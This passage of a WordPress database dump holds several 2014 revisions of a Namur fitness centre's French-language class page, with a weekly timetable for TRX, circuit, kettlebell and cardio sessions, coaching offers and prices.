class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 18:55:39', '2014-01-18 18:55:39', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(409, 1, '2014-01-18 18:59:25', '2014-01-18 18:59:25', '', 'zumba3', '', 'inherit', 'open', 'open', '', 'zumba3', '', '', '2014-01-18 18:59:25', '2014-01-18 18:59:25', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg', 0, 'attachment', 'image/jpeg', 0),
(412, 1, '2014-01-18 19:01:49', '2014-01-18 19:01:49', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:01:49', '2014-01-18 19:01:49', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(411, 1, '2014-01-18 19:00:18', '2014-01-18 19:00:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;alignnone size-full wp-image-409\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:00:18', '2014-01-18 19:00:18', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(410, 1, '2014-01-18 18:59:35', '2014-01-18 18:59:35', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td 